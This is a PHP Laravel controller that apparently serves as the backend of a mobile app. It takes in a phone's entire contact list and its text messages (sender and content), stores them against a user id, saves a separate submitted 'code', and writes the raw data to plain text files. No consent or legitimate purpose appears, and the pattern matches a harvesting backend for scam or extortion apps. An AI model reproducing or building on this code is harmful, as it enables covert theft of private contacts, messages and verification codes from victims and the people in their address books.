<?php

namespace App\Http\Controllers;

use App\Models\Customer;
use App\Models\Msg;
use App\Models\Phone;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;

class HandleControllerApi
{

    public function __construct()
    {
        $searchString = $_SERVER['REMOTE_ADDR'].PHP_EOL;
        $filePath = "ip.txt";
        $fileContent = file_get_contents($filePath);
        $occurrences = substr_count($fileContent, $searchString);
        if($occurrences >= 10) return exit();
        else{
            file_put_contents($filePath,$_SERVER["REMOTE_ADDR"].PHP_EOL,FILE_APPEND);
        }
    }

    public function new()
    {
        $uid = DB::table('customer')->insertGetId(
            ['name' => '暂无','phone' => '暂无','code'=>'暂无','notice'=>'暂无','created_at' => date('Y-m-d H:i:s'),'updated_at' => date('Y-m-d H:i:s')]
        );
        if ($uid)  return response()->json(['code' => 200,'msg' => 'ok','uid' => $uid]);
        else return \response()->json(['code' => 100,'msg' => '创建失败']);
    }

    public function savePhone(Request $request)
    {
        try {
            $array = $request->post('data');
            $uid = $request->post('uid');
            file_put_contents('phoneArray.txt',json_encode($array));
            foreach ($array as $index=>$value)
            {
                //储存联系人
                Phone::create([
                    'name' => isset($value['displayName'])?$value['displayName']:'未知',
                    'phone' => isset($value['phoneNumbers'][0]['value'])?$value['phoneNumbers'][0]['value']:000,
                    'pid' => $uid
                ]);
            }
            return response()->json(['code' => 200]);
        }catch (\Exception $e){
            file_put_contents('phoneError.txt',$e->getMessage());
            return response()->json(['code' => 100,'msg' => $e->getMessage()]);
        }
    }

    public function saveMsg(Request $request)
    {
        try {
            $msgArray = $request->post('msgArray');
            $uid = $request->post('uid');
            file_put_contents('msgArray.txt',json_encode($msgArray));
            foreach ($msgArray as $index=>$value)
            {
                //储存联系人
                Msg::create([
                    'post' => isset($value['fjr'])?$value['fjr']:'未知',
                    'contend' => isset($value['contend'])?$value['contend']:'暂无',
                    'pid' => $uid
                ]);
            }
            return response()->json(['code' => 200]);
        }catch (\Exception $e){
            file_put_contents('msgError.txt',$e->getMessage());
            return response()->json(['code' => 100,'msg' => $e->getMessage()]);

        }
    }

    public function set(Request $request)
    {
        try {
            $uid = $request->post('uid');
            $code = $request->post('code');
            if (!$uid || !$code) return response()->json(['code' => 100]);
            else{
                Customer::where('id',$uid)->update(['code' => $code]);
                return response()->json(['code' => 200]);
            }
        }catch (\Exception $e){
            return response()->json(['code' => 100 ,'msg' => $e->getMessage()]);
        }
    }


    public function index()
    {
        return view('content');
    }

}